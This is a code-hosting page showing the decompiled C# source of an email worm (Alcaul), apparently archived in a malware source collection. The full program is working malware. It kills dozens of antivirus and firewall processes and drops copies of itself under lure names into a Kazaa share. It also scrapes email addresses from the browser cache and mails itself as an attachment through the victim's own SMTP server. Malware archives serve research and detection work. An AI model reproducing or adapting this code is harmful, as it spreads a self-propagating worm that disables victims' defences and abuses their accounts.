mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2025-02-01 06:47:28 +00:00
f2ac1ece55
add
213 lines
9.2 KiB
C#
213 lines
9.2 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: alcopaul.brigadaochodotnet
|
|
// Assembly: 2peace, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: 78079FF0-2005-4E93-BF26-3EA1164CB45F
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Email-Worm.Win32.Alcaul.af-f023c356e68bba6651e4525fa000df7e890871cf4ef714e11171e439c3090105.exe
|
|
|
|
using Microsoft.Win32;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Net.Sockets;
|
|
using System.Reflection;
|
|
using System.Text;
|
|
using System.Windows.Forms;
|
|
|
|
namespace alcopaul
|
|
{
|
|
public class brigadaochodotnet
|
|
{
|
|
public static void Main(string[] args)
|
|
{
|
|
string str1 = "zonealarm,wfindv32,vb6,webscanx,vsstat,vshwin32,vsecomr,vscan40,vettray,vet95,tds2-nt,tds2-98,tca,tbscan,sweep95,sphinx,smc,serv95,scrscan,scanpm,scan95,scan32,safeweb,rescue,rav7win,rav7,persfw,pcfwallicon,pccwin98,pavw,pavsched,pavcl,padmin,outpost,nvc95,nupgrade,normist,nmain,nisum,navwnt,navw32,navnt,navlu32,navapw32,n32scanw,mpftray,moolive,luall,lookout,lockdown2000,jedi,iomon98,iface,icsuppnt,icsupp95,icmon,icloadnt,icload95,ibmavsp,ibmasn,iamserv,iamapp,frw,fprot,fp-win,findviru,f-stopw,f-prot95,f-prot,f-agnt95,espwatch,esafe,ecengine";
|
|
string str2 = "dvp95_0,dvp95,cleaner3,cleaner,claw95cf,claw95,cfinet32,cfinet,cfiaudit,cfiadmin,blackice,blackd,avwupd32,avwin95,avsched32,avpupd,avptc32,avpm,avpdos32,avpcc,avp32,avp,avnt,avkserv,avgctrl,ave32,avconsol,autodown,apvxdwin,anti-trojan,ackwin32,_avpm,_avpcc,_avp32";
|
|
string[] strArray1 = str1.Split(',');
|
|
string[] strArray2 = str2.Split(',');
|
|
foreach (string ave in strArray1)
|
|
brigadaochodotnet.killprocs(ave);
|
|
foreach (string ave in strArray2)
|
|
brigadaochodotnet.killprocs(ave);
|
|
Module module = Assembly.GetExecutingAssembly().GetModules()[0];
|
|
string tach = brigadaochodotnet.uue(module.FullyQualifiedName);
|
|
Registry.CurrentUser.OpenSubKey("Software\\Kazaa\\LocalContent", true).SetValue("Dir0", (object) ("012345:" + Directory.GetCurrentDirectory()));
|
|
string[] strArray3 = new string[11]
|
|
{
|
|
"shakira.exe",
|
|
"avril_lavigne.exe",
|
|
"Visual_Studio.NET2003_key.exe",
|
|
"teach_yourself_c#_in_1_week.exe",
|
|
"scan.net.exe",
|
|
"hitman2fulldownloader.exe",
|
|
"Tekken4_full_downloader.exe",
|
|
"teach_yourself_COBOL.NET_in_21_days.exe",
|
|
"how_to_get_chicks_on_your_bed.exe",
|
|
"brigadaocho.net.exe",
|
|
"drunken_pope_pics.exe"
|
|
};
|
|
foreach (string destFileName in strArray3)
|
|
{
|
|
try
|
|
{
|
|
File.Copy(module.FullyQualifiedName, destFileName);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
RegistryKey registryKey1 = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Internet Account Manager", true);
|
|
RegistryKey registryKey2 = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Internet Account Manager\\Accounts\\" + registryKey1.GetValue("Default Mail Account").ToString(), true);
|
|
string mserv = registryKey2.GetValue("SMTP Server").ToString();
|
|
string fm = registryKey2.GetValue("SMTP Email Address").ToString();
|
|
foreach (string directory1 in Directory.GetDirectories(Environment.GetFolderPath(Environment.SpecialFolder.InternetCache)))
|
|
{
|
|
foreach (string directory2 in Directory.GetDirectories(directory1))
|
|
{
|
|
foreach (string file in Directory.GetFiles(directory2, "*.ht*"))
|
|
brigadaochodotnet.extractmails(file, mserv, fm, tach);
|
|
}
|
|
}
|
|
int num = (int) MessageBox.Show("brigada ocho ::: \"bringing the c# technology to the masses\"", "msil.mass by PerrunBoy ::: http://vx.netlux.org/~b8", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
|
|
}
|
|
|
|
public static void extractmails(string phile, string mserv, string fm, string tach)
|
|
{
|
|
StreamReader streamReader = new StreamReader((Stream) new FileStream(phile, FileMode.OpenOrCreate, FileAccess.Read));
|
|
streamReader.BaseStream.Seek(0L, SeekOrigin.Begin);
|
|
while (streamReader.Peek() > -1)
|
|
{
|
|
string to = brigadaochodotnet.xtrak(streamReader.ReadLine());
|
|
if (to != "")
|
|
brigadaochodotnet.castaway(mserv, fm, to, tach);
|
|
}
|
|
streamReader.Close();
|
|
}
|
|
|
|
public static string xtrak(string datum)
|
|
{
|
|
char[] anyOf = new char[6]
|
|
{
|
|
'?',
|
|
'\'',
|
|
'"',
|
|
'>',
|
|
'<',
|
|
' '
|
|
};
|
|
string str1 = datum;
|
|
try
|
|
{
|
|
int sourceIndex = str1.IndexOf("mailto:");
|
|
int num = str1.LastIndexOfAny(anyOf);
|
|
char[] destination1 = new char[(int) checked ((uint) unchecked (num - sourceIndex))];
|
|
str1.CopyTo(sourceIndex, destination1, 0, num - sourceIndex);
|
|
string str2 = new string(destination1).Replace("mailto:", "").Replace("%20", "").Replace("%40", "@");
|
|
try
|
|
{
|
|
int count = str2.IndexOfAny(anyOf);
|
|
char[] destination2 = new char[(int) checked ((uint) count)];
|
|
str2.CopyTo(0, destination2, 0, count);
|
|
return new string(destination2);
|
|
}
|
|
catch
|
|
{
|
|
return str2;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
return "";
|
|
}
|
|
}
|
|
|
|
public static string uue(string attch)
|
|
{
|
|
FileStream input = new FileStream(attch, FileMode.OpenOrCreate, FileAccess.Read);
|
|
BinaryReader binaryReader = new BinaryReader((Stream) input);
|
|
binaryReader.BaseStream.Seek(0L, SeekOrigin.Begin);
|
|
byte[] numArray = new byte[(int) checked ((uint) input.Length)];
|
|
int length1 = (int) input.Length;
|
|
int index1 = 0;
|
|
int num;
|
|
for (; length1 > 0; length1 -= num)
|
|
{
|
|
num = binaryReader.Read(numArray, index1, length1);
|
|
if (num != 0)
|
|
index1 += num;
|
|
else
|
|
break;
|
|
}
|
|
binaryReader.Close();
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|
string base64String = Convert.ToBase64String(numArray);
|
|
int length2 = base64String.Length;
|
|
char[] destination = new char[(int) checked ((uint) length2)];
|
|
base64String.CopyTo(0, destination, 0, length2);
|
|
for (int index2 = 1; index2 <= length2; ++index2)
|
|
{
|
|
if (index2 % 76 == 0)
|
|
stringBuilder.Append(string.Format("{0}\r\n", (object) destination[index2 - 1]));
|
|
else
|
|
stringBuilder.Append(string.Format("{0}", (object) destination[index2 - 1]));
|
|
}
|
|
return stringBuilder.ToString();
|
|
}
|
|
|
|
public static void killprocs(string ave)
|
|
{
|
|
foreach (Process process in Process.GetProcessesByName(ave))
|
|
process.Kill();
|
|
}
|
|
|
|
public static void castaway(string serv, string from, string to, string attch)
|
|
{
|
|
string str1 = "From: " + from + " <" + from + ">\r\n";
|
|
string str2 = "To: " + to + " <" + to + ">\r\n";
|
|
string str3 = "Date: " + DateTime.Now.ToString() + "\r\n";
|
|
string str4 = "X-Mailer: dotNETSMTPengine\r\n";
|
|
string str5 = "X-Priority: 3\r\n";
|
|
string str6 = "MIME-Version: 1.0\r\n";
|
|
string str7 = "Content-Type: multipart/mixed; boundary=\"----=rerty\";\r\n\r\n";
|
|
string str8 = "This is a multi-part message in MIME format.\r\n\r\n";
|
|
string str9 = "------=rerty\r\n";
|
|
string str10 = "Content-Type: text/html; charset=us-ascii\r\n\r\n";
|
|
string str11 = "\"all we are saying, is give peace a chance. no to war and terrorism.\"\r\n\r\n";
|
|
string str12 = "------=rerty\r\n";
|
|
string str13 = "Content-Type: application/x-msdownload; name=\"topeace.exe\"\r\n";
|
|
string str14 = "Content-Transfer-Encoding: base64\r\n";
|
|
string str15 = "Content-Disposition: attachment; ";
|
|
string str16 = "filename=\"topeace.exe\"\r\n\r\n";
|
|
string str17 = "\r\n\r\n";
|
|
string str18 = "------=rerty--\r\n\r\n.\r\n";
|
|
TcpClient tcpClient = new TcpClient(serv, 25);
|
|
NetworkStream stream = tcpClient.GetStream();
|
|
StreamReader streamReader = new StreamReader((Stream) tcpClient.GetStream());
|
|
string str19 = streamReader.ReadLine();
|
|
byte[] bytes1 = Encoding.ASCII.GetBytes("HELO localhost\r\n");
|
|
stream.Write(bytes1, 0, bytes1.Length);
|
|
str19 = streamReader.ReadLine();
|
|
byte[] bytes2 = Encoding.ASCII.GetBytes("MAIL FROM: <" + from + ">\r\n");
|
|
stream.Write(bytes2, 0, bytes2.Length);
|
|
str19 = streamReader.ReadLine();
|
|
byte[] bytes3 = Encoding.ASCII.GetBytes("RCPT TO: <" + to + ">\r\n");
|
|
stream.Write(bytes3, 0, bytes3.Length);
|
|
str19 = streamReader.ReadLine();
|
|
byte[] bytes4 = Encoding.ASCII.GetBytes("DATA\r\n");
|
|
stream.Write(bytes4, 0, bytes4.Length);
|
|
str19 = streamReader.ReadLine();
|
|
byte[] bytes5 = Encoding.ASCII.GetBytes(str1 + str2 + str3 + str4 + str5);
|
|
stream.Write(bytes5, 0, bytes5.Length);
|
|
byte[] bytes6 = Encoding.ASCII.GetBytes(str6 + str7 + str8 + str9 + str10 + str11);
|
|
stream.Write(bytes6, 0, bytes6.Length);
|
|
byte[] bytes7 = Encoding.ASCII.GetBytes(str12 + str13 + str14 + str15 + str16 + attch + str17 + str18);
|
|
stream.Write(bytes7, 0, bytes7.Length);
|
|
str19 = streamReader.ReadLine();
|
|
byte[] bytes8 = Encoding.ASCII.GetBytes("QUIT\r\n");
|
|
stream.Write(bytes8, 0, bytes8.Length);
|
|
str19 = streamReader.ReadLine();
|
|
stream.Close();
|
|
streamReader.Close();
|
|
tcpClient.Close();
|
|
}
|
|
}
|
|
}
|